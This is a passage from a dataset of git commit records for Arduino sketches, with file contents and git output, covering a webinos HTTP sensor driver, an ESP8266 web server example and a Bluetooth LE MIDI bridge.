checkGenlock();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"7326881ff2cc867842aa1e319fcaeed8dceab1f6","subject":"Added sensors and actuators implementation for arduino","message":"Added sensors and actuators implementation for arduino\n\nJira issue: WP-595\n","repos":"webinos\/Webinos-Platform,krishnabangalore\/Webinos-Platform,hansmy\/Webinos-Platform,krishnabangalore\/Webinos-Platform,krishnabangalore\/Webinos-Platform,webinos\/Webinos-Platform,krishnabangalore\/Webinos-Platform,hansmy\/Webinos-Platform,krishnabangalore\/Webinos-Platform,webinos\/Webinos-Platform,hansmy\/Webinos-Platform,hansmy\/Webinos-Platform,hansmy\/Webinos-Platform,webinos\/Webinos-Platform,webinos\/Webinos-Platform,hansmy\/Webinos-Platform,hansmy\/Webinos-Platform,krishnabangalore\/Webinos-Platform,hansmy\/Webinos-Platform,hansmy\/Webinos-Platform,webinos\/Webinos-Platform,webinos\/Webinos-Platform,krishnabangalore\/Webinos-Platform,webinos\/Webinos-Platform,webinos\/Webinos-Platform,krishnabangalore\/Webinos-Platform,krishnabangalore\/Webinos-Platform","old_file":"webinos\/platform\/arduino\/api\/sensors_actuators_driver\/sensors_actuators_driver.ino","new_file":"webinos\/platform\/arduino\/api\/sensors_actuators_driver\/sensors_actuators_driver.ino","new_contents":"#include <aJSON.h>\n#include <SPI.h>\n#include <Ethernet.h>\n\n#define NUM_ELEMENTS 2\n\n#define BOARD_ID \"00001\"\n\/\/#define BOARD_LANGUAGE \"webinos\"\n\/\/#define BOARD_PROTOCOL \"HTTP\"\n\/\/#define BOARD_NAME \"ARDUINO_UNO\"\n#define BOARD_IP 192,168,1,120\n#define BOARD_PORT 80\n\n#define PZP_IP 192,168,1,130\n#define PZP_PORT 1984\n\n\/\/NB sa -> 0=sensor, 1=actuator\n\/\/NB ad -> 0=analog, 1=digital\n#define ELEMENTS_RES \"{\\\"bid\\\":\\\"00001\\\",\\\"cmd\\\":\\\"ele\\\",\\\"elements\\\":[{\\\"id\\\":\\\"00001_000\\\", \\\"element\\\": {\\\"sa\\\":\\\"0\\\",\\\"maximumRange\\\":\\\"0.1\\\",\\\"minDelay\\\":\\\"500\\\",\\\"power\\\":\\\"0.02\\\",\\\"resolution\\\":\\\"0.001\\\",\\\"type\\\":\\\"temperature\\\",\\\"vendor\\\":\\\"apple_temp\\\",\\\"version\\\":\\\"1\\\"}},{\\\"id\\\":\\\"00001_001\\\", \\\"element\\\":{\\\"sa\\\":\\\"0\\\",\\\"maximumRange\\\":\\\"0.1\\\",\\\"minDelay\\\":\\\"500\\\",\\\"power\\\":\\\"0.02\\\",\\\"resolution\\\":\\\"0.001\\\",\\\"type\\\":\\\"proximity\\\",\\\"vendor\\\":\\\"apple_prox\\\",\\\"version\\\":\\\"1\\\"}}]}\"\n#define HELLO_REQ \"GET \/newboard?jsondata={\\\"id\\\":\\\"00001\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"name\\\":\\\"ARDUINO_UNO\\\",\\\"ip\\\":\\\"192.168.1.120\\\",\\\"port\\\":\\\"80\\\"} HTTP\/1.0\"\n\n\ntypedef struct {\n char* id;\n bool sa;\n bool ad;\n int pin;\n bool active;\n long rate;\n long lastConnectionTime;\n } IOElement;\n\nIOElement * elements[NUM_ELEMENTS];\n\n\n\/\/Ethernet stuff\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress pzp_ip(PZP_IP);\nIPAddress arduino_ip(BOARD_IP);\nEthernetClient client;\nEthernetServer server(BOARD_PORT);\n\nboolean boardconnected = false;\n\nvoid setup(){\n Serial.begin(9600);\n\n elements[0] = new IOElement();\n elements[0]->id = \"00001_000\";\n elements[0]->sa = 0;\n elements[0]->ad = 0;\n elements[0]->pin = 0;\n elements[0]->active = 0;\n elements[0]->rate = 1000;\n \n elements[1] = new IOElement();\n elements[1]->id = \"00001_001\";\n elements[1]->sa = 0;\n elements[1]->ad = 1;\n elements[1]->pin = 1;\n elements[1]->active = 0;\n elements[1]->rate = 3500;\n \n \/\/start Ethernet\n Ethernet.begin(mac, arduino_ip);\n}\n\n\/\/hell function\nString getValueFromSensor(bool ad, int pin){ \n int value = -1;\n if(ad == 0){ \/\/analog sensor\n value = analogRead(pin);\n }\n else{ \/\/digital sensor\n value = digitalRead(pin);\n }\n return String(value);\n}\n\nvoid sendDataToAPI(int id_ele){\n\/\/ Serial.print(\"Send data id : \");\n\/\/ Serial.println(id_ele);\n if (client.connect(pzp_ip, PZP_PORT)) {\n client.print(\"POST \/sensor?id=\");\n client.print(elements[id_ele]->id);\n client.print(\"&data=\");\n client.print(getValueFromSensor(elements[id_ele]->ad, elements[id_ele]->pin));\n client.println(\"\\0 HTTP\/1.0\");\n client.println();\n client.stop();\n elements[id_ele]->lastConnectionTime = millis();\n }\n}\n\nvoid loop(){\n if(!boardconnected){\n Serial.println(\"Try connecting to PZP\"); \n if (client.connect(pzp_ip, PZP_PORT)) {\n client.println(HELLO_REQ);\n client.println(); \n\n String s;\n bool nextisbody = false; \n delay(1000);\n \n char vet[19];\n int i=0;\n int num_spaces=0;\n while(client.available() > 0){\n char c = client.read();\n \n\/\/ \/\/ Not work! test it! \n\/\/ if(num_spaces==2){\n\/\/ vet[i++] = c;\n\/\/ if(i==19){\n\/\/ vet[i] = '\/0';\n\/\/ if(strcmp(vet, \"{\\\"ack\\\":\\\"newboard\\\"}\") == 0)\n\/\/ Serial.println(\"new board\");\n\/\/ else\n\/\/ Serial.println(\"error\");\n\/\/ \n\/\/ boardconnected=true;\n\/\/ break;\n\/\/ }\n\/\/ else\n\/\/ Serial.print(c);\n\/\/ }\n\/\/ else{\n\/\/ if(c == '\\n')\n\/\/ num_spaces++;\n\/\/ else\n\/\/ num_spaces=0;\n\/\/ }\n \n s += c; \n if(c == '\\n'){\n if(nextisbody){ \n Serial.println(s);\n char json_char[s.length()];\n s.toCharArray(json_char, s.length());\n aJsonObject* jsonObject = aJson.parse(json_char); \n aJsonObject* ack = aJson.getObjectItem(jsonObject, \"ack\");\n if(strcmp(ack->valuestring,\"newboard\")==0){\n\/\/ if(s.equals(\"{\\\"ack\\\":\\\"newboard\\\"}\")){\n delete jsonObject;\n delete ack;\n free(&json_char);\n free(&s);\n boardconnected=true;\n server.begin();\n }\n\/\/ else\n\/\/ Serial.println(\"PZP refused my req\");\n break;\n \n }\n if(s.equals(\"\\r\\n\")){\n nextisbody = true;\n }\n s = \"\";\n }\n \n }\n client.stop();\n }\n else {\n \/\/ Serial.println(\"PZP unavailable\");\n delay(2000);\n }\n }\n else{ \/\/ boardisconnected == true\n EthernetClient client = server.available();\n if (client) {\n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n char cmd[4];\n char pin[4];\n char dat[30];\n int counter=1;\n int i=0,j=0,z=0;\n bool finish = false;\n\n while (client.connected()) { \n if (client.available()) {\n char c = client.read(); \n \/\/ GET \/?cmd=get&pin=012&dat=.....\\n \n if(counter>10 && counter<14)\n cmd[i++] = c; \n if(counter>18 && counter<22)\n pin[j++] = c;\n if(counter > 26){\n dat[z++] = c;\n if(c == '\\ ')\n finish=true;\n }\n if(finish){\n cmd[i] = '\\0';\n pin[j] = '\\0';\n dat[z-1] = '\\0';\n \n Serial.println(cmd);\n Serial.println(pin);\n Serial.println(dat);\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println(\"Connnection: keep-alive\");\n client.println();\n \n if(strcmp(cmd,\"ele\")==0){\n client.println(ELEMENTS_RES);\n }\n else if(strcmp(cmd,\"get\")==0){\n int ipin = atoi(pin);\n int value = analogRead(ipin);\n client.print(\"{\\\"cmd\\\":\\\"get\\\",\\\"eid\\\":\\\"\");\n client.print(BOARD_ID);\n client.print(\"_\");\n client.print(ipin);\n client.print(\"\\\",\\\"dat\\\":\\\"\");\n client.print(value);\n client.println(\"\\\"}\");\n }\n else if(strcmp(cmd,\"str\")==0 || strcmp(cmd,\"stp\")==0){ \n \n Serial.print(pin);\n Serial.print(\" mode : \");\n Serial.println(dat); \n \n int len = strlen(BOARD_ID) + 1 + strlen(pin); \/\/ BOARD_ID + _ + pin\n Serial.println(len);\n \n char eid[len+1];\n strcpy(eid,BOARD_ID);\n strcat(eid,\"_\");\n strcat(eid,pin);\n strcat(eid,'\\0');\n\/\/ Serial.println(eid);\n \n if(strcmp(cmd,\"str\")==0){\n client.print(\"{\\\"cmd\\\":\\\"str\\\",\");\n client.print(\"\\\"id\\\":\\\"\");\n client.print(eid);\n client.println(\"\\\"}\");\n Serial.print(\"starting sensor \");\n Serial.println(eid);\n \n for(int i=0; i<NUM_ELEMENTS; i++){\n if(strcmp(elements[i]->id, eid) == 0)\n elements[i]->active = true;\n }\n }\n else{ \/\/if(strcmp(cmd,\"stp\")==0){\n client.println(\"{\\\"cmd\\\":\\\"stp\\\"}\");\n Serial.println(\"stopping sensor \");\n for(int i=0; i<NUM_ELEMENTS; i++){\n if(strcmp(elements[i]->id, eid) == 0)\n elements[i]->active = false;\n }\n } \n }\n break;\n }\n counter++;\n }\n }\n \/\/ give the web browser time to receive the data\n delay(1);\n client.stop();\n } \n \n for(int i=0; i<NUM_ELEMENTS; i++){\n if(elements[i]->active && (millis() - elements[i]->lastConnectionTime > elements[i]->rate)){\n sendDataToAPI(i);\n }\n }\n \n\/\/ for(int i=0; i<NUM_ELEMENTS; i++){\n\/\/ if(elements[i]->active && ( time*mindelay % elements[i]->rate == 0) ){\n\/\/ Serial.print(\"Read from sensor \");\n\/\/ Serial.println(elements[i]->id);\n\/\/ if (client.connect(pzp_ip, PZP_PORT)) {\n\/\/ client.print(\"POST \/sensor?id=\");\n\/\/ client.print(elements[i]->id);\n\/\/ client.print(\"&data=\");\n\/\/ client.print(getValueFromSensor(elements[i]->ad, elements[i]->pin));\n\/\/ client.println(\"\\0 HTTP\/1.0\");\n\/\/ client.println();\n\/\/ client.stop();\n\/\/ }\n\/\/ }\n\/\/ }\n\/\/ time++;\n\/\/ delay(mindelay); \n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'webinos\/platform\/arduino\/api\/sensors_actuators_driver\/sensors_actuators_driver.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a34950c8fbd8dcbc0d382bdad1ef86585e062536","subject":"Add bluetooth","message":"Add bluetooth\n","repos":"Microhive\/UbiOnePunch,Microhive\/UbiOnePunch,Microhive\/UbiOnePunch,Microhive\/UbiOnePunch","old_file":"Arduino\/6dof(Arduino)[V10]\/Processing_Example\/Arduino\/FreeSix_cube\/FreeSix_cube.ino","new_file":"Arduino\/6dof(Arduino)[V10]\/Processing_Example\/Arduino\/FreeSix_cube\/FreeSix_cube.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"266bb80fbcb3184f7d8edd3169d1e4ed86b27376","subject":"Added failure tone and matched timing of opening tone to original game.","message":"Added failure tone and matched timing of opening tone to original game.\n","repos":"tonyczeh\/arduino-repeat","old_file":"Repeat.ino","new_file":"Repeat.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tonyczeh\/arduino-repeat.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c4831c0e3db2458c95bbb9b21697539e308f4300","subject":"Some stray calls to ipToString.","message":"Some stray calls to ipToString.\n","repos":"distrakt\/OmEspHelpers,distrakt\/OmEspHelpers","old_file":"examples\/WebServerSketch1\/WebServerSketch1.ino","new_file":"examples\/WebServerSketch1\/WebServerSketch1.ino","new_contents":"\n\/*\n * 2016-11-26 dvb\n * Work on OmServer, so that its messages tend to\n * help a new user bootstrap to it.\n *\/\n#include \"Arduino.h\"\n#include \"OmBlinker.h\"\n#include \"OmWebServer.h\"\n#include <OmEspHelpers.h>\n\n\/\/ These includes arent used in this file, but tells Arduino IDE that this project uses them.\n#include <ESP8266WebServer.h> \n#include <ESP8266WiFi.h> \n\nOmBlinker ob(-1);\nOmWebServer w;\nOmWebPages p;\n\nvoid setup() \n{\n Serial.begin(115200);\n Serial.printf(\"\\n\\n\\nWelcome to the Sketch\\n\\n\");\n\n ob.addNumber(1234);\n\n w.addWifi(\"noope\", \"haha\");\n w.addWifi(\"omino warp\", \"0123456789\");\n\n w.setHandler(p);\n}\n\nint ticks = 0;\nvoid loop() \n{\n delay(10);\n ob.tick();\n w.tick();\n\n ticks++;\n if(ticks % 1000 == 0)\n {\n ob.addInterjection(10, 2);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WebServerSketch1\/WebServerSketch1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c6fbd8b608f2a88a54eecf66fb8c78ffa67eba58","subject":"Improved Style","message":"Improved Style\n\nImproved Code Layout impending a rewrite.\n","repos":"ioriwellings\/blidino,iqaudio\/blidino,sieren\/blidino,ioriwellings\/blidino,iqaudio\/blidino,sieren\/blidino,sieren\/blidino","old_file":"nRF51822-BLEMIDI\/nRF51822-BLEMIDI.ino","new_file":"nRF51822-BLEMIDI\/nRF51822-BLEMIDI.ino","new_contents":"\n\/*\n * Copyright (c) 2014 Matthias Frick, All rights reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <BLE_API.h>\n#include <pins_arduino.h>\n#include <SPI.h>\n#include <Usb.h>\n#include <usbh_midi.h>\n#define __CORE_CM0_H_GENERIC\n#define BLE_UUID_TXRX_SERVICE 0x0000 \/**< The UUID of the Nordic UART Service. *\/\n#define BLE_UUID_TX_CHARACTERISTIC 0x0001 \/**< The UUID of the TX Characteristic. *\/\n#define BLE_UUID_RX_CHARACTERISTIC 0x0002 \/**< The UUID of the RX Characteristic. *\/\n\n#define TXRX_BUF_LEN 100\n#define UART_RX_TIME APP_TIMER_TICKS(10, 0)\n\n\n#define STATUS_CHECK_TIME APP_TIMER_TICKS(20, 0)\n\n\n\/\/ Activate to debug\n\/\/ this increases delay significantly due to increased I\/Os\n#define DEBUG 1\n\n#ifdef DEBUG\n#define DEBUG_PRINT(x) Serial.print (x)\n#define DEBUG_PRINTDEC(x) Serial.print (x, DEC)\n#define DEBUG_PRINTHEX(x) Serial.print (x, HEX)\n#define DEBUG_PRINTLN(x) Serial.println (x)\n#else\n#define DEBUG_PRINT(x)\n#define DEBUG_PRINTDEC(x)\n#define DEBUG_PRINTHEX(x)\n#define DEBUG_PRINTLN(x)\n#endif\n\n\n\nBLEDevice ble;\n\nstatic app_timer_id_t m_uart_rx_id;\nstatic app_timer_id_t m_status_check_id;\nstatic uint8_t rx_buf[TXRX_BUF_LEN];\nstatic int rx_buf_num, rx_state = 0;\nstatic uint8_t rx_temp_buf[20];\n\n\/\/ TXRX Service & UDIDs\nstatic const uint8_t uart_base_uuid[] = {0x03, 0xB8, 0x0E, 0x5A, 0xED, 0xE8, 0x4B, 0x33, 0xA7, 0x51, 0x6C, 0xE3, 0x4E, 0xC4, 0xC7, 0};\nstatic const uint8_t uart_tx_uuid[] = {0x77, 0x72, 0xE5, 0xDB, 0x38, 0x68, 0x41, 0x12, 0xA1, 0xA9, 0xF2, 0x66, 0x9D, 0x10, 0x6B, 0xF3};\nstatic const uint8_t uart_rx_uuid[] = {0x77, 0x72, 0xE5, 0xDB, 0x38, 0x68, 0x41, 0x12, 0xA1, 0xA9, 0xF2, 0x66, 0x9D, 0x10, 0x6B, 0xF3};\nstatic const uint8_t uart_base_uuid_rev[] = {0, 0xC7, 0xC4, 0x4E, 0xE3, 0x6C, 0x51, 0xA7, 0x33, 0x4B, 0xE8, 0xED, 0x5A, 0x0E, 0xB8, 0x03};\n\nuint8_t txPayload[TXRX_BUF_LEN] = {0,};\nuint8_t rxPayload[TXRX_BUF_LEN] = {0,};\n\nGattCharacteristic txCharacteristic (uart_tx_uuid, txPayload, 1, 20,\n GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_WRITE | GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_WRITE_WITHOUT_RESPONSE | GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_NOTIFY | GattCharacteristic::BLE_GATT_CHAR_PROPERTIES_READ);\n\nGattCharacteristic *uartChars[] = {&txCharacteristic};\nGattService uartService(uart_base_uuid, uartChars, sizeof(uartChars) \/ sizeof(GattCharacteristic *));\n\n\n\n\/*******************************************************************************\n * INITIALIZE USB MIDI Variables\n *******************************************************************************\/\nUSB Usb;\nUSBH_MIDI Midi(&Usb);\nuint8_t usbstate;\nuint8_t laststate;\nuint8_t rcode;\nUSB_DEVICE_DESCRIPTOR buf;\n\nvoid MIDI_poll();\nvoid doDelay(unsigned long t1, unsigned long t2, unsigned long delayTime);\n\nboolean bFirst;\nboolean isConnected;\nuint16_t pid, vid;\n\n\n\/*******************************************************************************\n* INITIALIZE Internal BLE Buffer\n*******************************************************************************\/\n#define MAX_TX_BUFF 64\nstatic uint8_t midiOut_buff[MAX_TX_BUFF];\nstatic uint8_t midiOut_buff_len = 0;\n\n\/*******************************************************************************\n* Send MIDI data to BLE Stack\n*\n* BLE Packet is capped to 17 bytes (2 bytes prefix + 3 bytes MIDI + 3 * 4 bytes)\n*\n* Right now this is periodically called by the app_timer, to make sure the buffer clears\n* out fast enough as calling this through MIDI_poll() caused more delay.\n* TO DO: Use MIDI Structs instead of byte array\n*\n*******************************************************************************\/\nvoid m_uart_rx_handle(void * p_context)\n{\nif(rx_buf_num > 0 && isConnected) \n{\n\t int bufInc = 0;\n\n\t \/\/ with every ticker-call to this function we take 17 bytes off the buffer and send it out to BLE\n\t if (rx_buf_num < 17) \n\t {\n\t bufInc = rx_buf_num % 17;\n\t }\n\t else \n\t {\n\t\t bufInc = 17;\n\t }\n\t ble.updateCharacteristicValue(txCharacteristic.getHandle(), rx_buf, bufInc);\n\t memmove(rx_buf, rx_buf+bufInc, rx_buf_num-bufInc); \/\/ probably not best practice, needs to be fixed\n\t rx_buf_num -= bufInc;\n\t rx_state = 0;\n}\n}\n\n\/*******************************************************************************\n* Connection callback\n*\n* TO DO:\n* - Probably doesnt need Serial.Read() here since we dont do any reading\n*\n\/******************************************************************************\/\nvoid uartCallBack(void)\n{\n uint32_t err_code = NRF_SUCCESS;\n\n if (rx_state == 0)\n {\n rx_state = 1;\n err_code = app_timer_start(m_uart_rx_id, UART_RX_TIME, NULL);\n APP_ERROR_CHECK(err_code);\n rx_buf_num = 0;\n }\n while ( Serial.available() )\n {\n rx_buf[rx_buf_num] = Serial.read();\n rx_buf_num++;\n }\n}\n\nvoid m_status_check_handle(void * p_context)\n{\n\n Usb.Task();\n usbstate = Usb.getUsbTaskState();\n\n if (usbstate != laststate) \n\t{\n laststate = usbstate;\n\n switch (usbstate) {\n case ( USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE):\n E_Notify(PSTR(\"\\r\\nWaiting for device...\"), 0x80);\n break;\n case ( USB_ATTACHED_SUBSTATE_RESET_DEVICE):\n E_Notify(PSTR(\"\\r\\nDevice connected. Resetting...\"), 0x80);\n break;\n case ( USB_ATTACHED_SUBSTATE_WAIT_SOF):\n E_Notify(PSTR(\"\\r\\nReset complete. Waiting for the first SOF...\"), 0x80);\n break;\n case ( USB_ATTACHED_SUBSTATE_GET_DEVICE_DESCRIPTOR_SIZE):\n E_Notify(PSTR(\"\\r\\nSOF generation started. Enumerating device...\"), 0x80);\n break;\n case ( USB_STATE_ADDRESSING):\n E_Notify(PSTR(\"\\r\\nSetting device address...\"), 0x80);\n break;\n case ( USB_STATE_RUNNING):\n E_Notify(PSTR(\"\\r\\nGetting device descriptor\"), 0x80);\n rcode = Usb.getDevDescr(1, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*) & buf);\n\n if (rcode) \n\t\t\t\t{\n E_Notify(PSTR(\"\\r\\nError reading device descriptor. Error code \"), 0x80);\n }\n else \n\t\t\t\t{\n E_Notify(PSTR(\"\\r\\nDescriptor Length:\\t\"), 0x80);\n print_hex(buf.bLength, 8);\n E_Notify(PSTR(\"\\r\\nDescriptor type:\\t\"), 0x80);\n print_hex(buf.bDescriptorType, 8);\n E_Notify(PSTR(\"\\r\\nUSB version:\\t\\t\"), 0x80);\n print_hex(buf.bcdUSB, 16);\n E_Notify(PSTR(\"\\r\\nDevice class:\\t\\t\"), 0x80);\n print_hex(buf.bDeviceClass, 8);\n E_Notify(PSTR(\"\\r\\nDevice Subclass:\\t\"), 0x80);\n print_hex(buf.bDeviceSubClass, 8);\n E_Notify(PSTR(\"\\r\\nDevice Protocol:\\t\"), 0x80);\n print_hex(buf.bDeviceProtocol, 8);\n E_Notify(PSTR(\"\\r\\nMax.packet size:\\t\"), 0x80);\n print_hex(buf.bMaxPacketSize0, 8);\n E_Notify(PSTR(\"\\r\\nVendor ID:\\t\\t\"), 0x80);\n print_hex(buf.idVendor, 16);\n E_Notify(PSTR(\"\\r\\nProduct ID:\\t\\t\"), 0x80);\n print_hex(buf.idProduct, 16);\n E_Notify(PSTR(\"\\r\\nRevision ID:\\t\\t\"), 0x80);\n print_hex(buf.bcdDevice, 16);\n E_Notify(PSTR(\"\\r\\nMfg.string index:\\t\"), 0x80);\n print_hex(buf.iManufacturer, 8);\n E_Notify(PSTR(\"\\r\\nProd.string index:\\t\"), 0x80);\n print_hex(buf.iProduct, 8);\n E_Notify(PSTR(\"\\r\\nSerial number index:\\t\"), 0x80);\n print_hex(buf.iSerialNumber, 8);\n E_Notify(PSTR(\"\\r\\nNumber of conf.:\\t\"), 0x80);\n print_hex(buf.bNumConfigurations, 8);\n\n }\n break;\n case ( USB_STATE_ERROR):\n E_Notify(PSTR(\"\\r\\nUSB state machine reached error state\"), 0x80);\n break;\n\n default:\n break;\n }\/\/switch( usbstate...\n }\n\n if ( Usb.getUsbTaskState() == USB_STATE_RUNNING )\n {\n\t\tMIDI_poll();\n }\n\n}\n\n\/\/ Disconnect Callback\nvoid disconnectionCallback(void)\n{\n Serial.println(\"Disconnected! \\r\\n\");\n Serial.println(\"Restarting the advertising process \\r\\n\");\n isConnected = false;\n ble.startAdvertising();\n}\n\nvoid connectionCallback(void) \n{\n \tisConnected = true;\n \tuint32_t err_code = NRF_SUCCESS;\n err_code = app_timer_create(&m_uart_rx_id, APP_TIMER_MODE_REPEATED, m_uart_rx_handle);\n APP_ERROR_CHECK(err_code);\n\n err_code = app_timer_start(m_uart_rx_id, STATUS_CHECK_TIME, NULL);\n APP_ERROR_CHECK(err_code);\n}\n\n\n\/*******************************************************************************\n* Callback for INCOMING MIDI BLE Data\n*\n*\n*******************************************************************************\/\n\nvoid onDataWritten(uint16_t charHandle)\n{\n uint8_t buf[TXRX_BUF_LEN];\n uint16_t bytesRead;\n\tSerial.println(\"Something\");\n if ( charHandle == txCharacteristic.getHandle() )\n {\n ble.readCharacteristicValue(txCharacteristic.getHandle(), buf, &bytesRead);\n parseBLEtoMIDI(buf, bytesRead);\n }\n}\n\nvoid setup(void)\n{\n bFirst = true;\n vid = pid = 0;\n isConnected = false;\n uint32_t err_code = NRF_SUCCESS;\n uart_callback_t uart_cb;\n Serial.begin(9600);\n\t\n \/\/Workaround for non UHS2.0 Shield\n pinMode(10, OUTPUT);\n digitalWrite(10, HIGH);\n\n DEBUG_PRINTLN(\"BLE Arduino Slave\");\n Usb.Init();\n delay(500);\n Serial.begin(9600);\n\n ble.init();\n ble.onDisconnection(disconnectionCallback);\n ble.onConnection(connectionCallback);\n ble.onDataWritten(onDataWritten);\n\n \/* setup advertising *\/\n ble.accumulateAdvertisingPayload(GapAdvertisingData::BREDR_NOT_SUPPORTED);\n ble.setAdvertisingType(GapAdvertisingParams::ADV_CONNECTABLE_UNDIRECTED);\n ble.accumulateAdvertisingPayload(GapAdvertisingData::SHORTENED_LOCAL_NAME, (const uint8_t *)\"BLIDIno\", sizeof(\"BLIDIno\") - 1);\n ble.accumulateAdvertisingPayload(GapAdvertisingData::COMPLETE_LIST_128BIT_SERVICE_IDS, (const uint8_t *)uart_base_uuid_rev, sizeof(uart_base_uuid));\n\n \/* 100ms; in multiples of 0.625ms. *\/\n ble.setAdvertisingInterval(160);\n\n ble.addService(uartService);\n SPI.begin();\n \/\/Set Dev_Name\n err_code = RBL_SetDevName(\"BLIDino\");\n APP_ERROR_CHECK(err_code);\n\n ble.startAdvertising();\n \/\/ err_code = app_timer_create(&m_uart_rx_id, APP_TIMER_MODE_SINGLE_SHOT, m_uart_rx_handle);\n\n err_code = app_timer_create(&m_status_check_id, APP_TIMER_MODE_REPEATED, m_status_check_handle);\n APP_ERROR_CHECK(err_code);\n\n err_code = app_timer_start(m_status_check_id, STATUS_CHECK_TIME, NULL);\n APP_ERROR_CHECK(err_code);\n\n}\n\nvoid loop(void)\n{\n ble.waitForEvent();\n}\n\n\n\/*******************************************************************************\n * Poll MIDI DATA from USB Port\n *******************************************************************************\/\nvoid MIDI_poll()\n{\n\n uint8_t bufMidi[64];\n uint16_t rcvd;\n uint8_t size;\n byte outBuf[ 3 ];\n char buf[20];\n\n if (Midi.vid != vid || Midi.pid != pid) {\n vid = Midi.vid;\n pid = Midi.pid;\n }\n\n do {\n if ( (size = Midi.RecvData(outBuf)) > 0 ) {\n \/\/ Send data to parser\n parseMIDItoAppleBle(size, outBuf);\n\n }\n } while (size > 0);\n\n uint32_t err_code = NRF_SUCCESS;\n\n}\n\n\/*******************************************************************************\n * Convert MIDI BLE to MIDI USB\n *\n * Pleas check the experimental branch for MIDI BLE to MIDI USB\n *\n *******************************************************************************\/\nvoid parseBLEtoMIDI(uint8_t *dataptr, uint16_t bytesRead)\n{\n \/\/ stubbed out\n\n}\n\n\n\n\/*******************************************************************************\n * Convert MIDI Data to MIDI-BLE Packets\n *\n * TO DO:\n * - Jitter \/ Time Coding is not yet implemented\n * - 1 Byte between MIDI Packet is time-offset currently ignored\n * - Move this to proper MIDI Parsing (e.g. SysEx)\n *\n *******************************************************************************\/\nvoid parseMIDItoAppleBle(int size, byte outBuf[3]) {\n char time[2];\n char buf[20];\n\n unsigned long timer = 0;\n int lastPos;\n timer = millis();\n\n uint16_t blueMidiTime = 0;\n blueMidiTime = 32768 + (timer % 16383);\n\n uint32_t err_code = NRF_SUCCESS;\n int localBufNum = rx_buf_num;\n\n if(rx_buf_num <= 100) \/\/ buffer up to 100 bytes\n {\n if (rx_buf_num % 17 == 0) \/\/ End of packet, start a new one\n {\n rx_buf[rx_buf_num] = blueMidiTime >> 8;\n rx_buf_num++;\n rx_buf[rx_buf_num] = 0x80;\n rx_buf_num++;\n }\n else\n {\n rx_buf[rx_buf_num] = 0x80;\n rx_buf_num++;\n }\n\n for (int i = 0; i < size; i++)\n {\n rx_buf[rx_buf_num] = outBuf[i];\n rx_buf_num++;\n }\n }\n}\n\n\n\/*******************************************************************************\n * Convert USB Host debug info to Hex\n *\n *******************************************************************************\/\nvoid print_hex(int v, int num_places) {\n int mask = 0, n, num_nibbles, digit;\n\n for (n = 1; n <= num_places; n++) {\n mask = (mask << 1) | 0x0001;\n }\n v = v & mask; \/\/ truncate v to specified number of places\n\n num_nibbles = num_places \/ 4;\n if ((num_places % 4) != 0) {\n ++num_nibbles;\n }\n do {\n digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f;\n DEBUG_PRINTHEX(digit);\n }\n while (--num_nibbles);\n}\n","old_contents":"\n\/*\n * Copyright (c) 2014 Matthias Frick, All rights reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 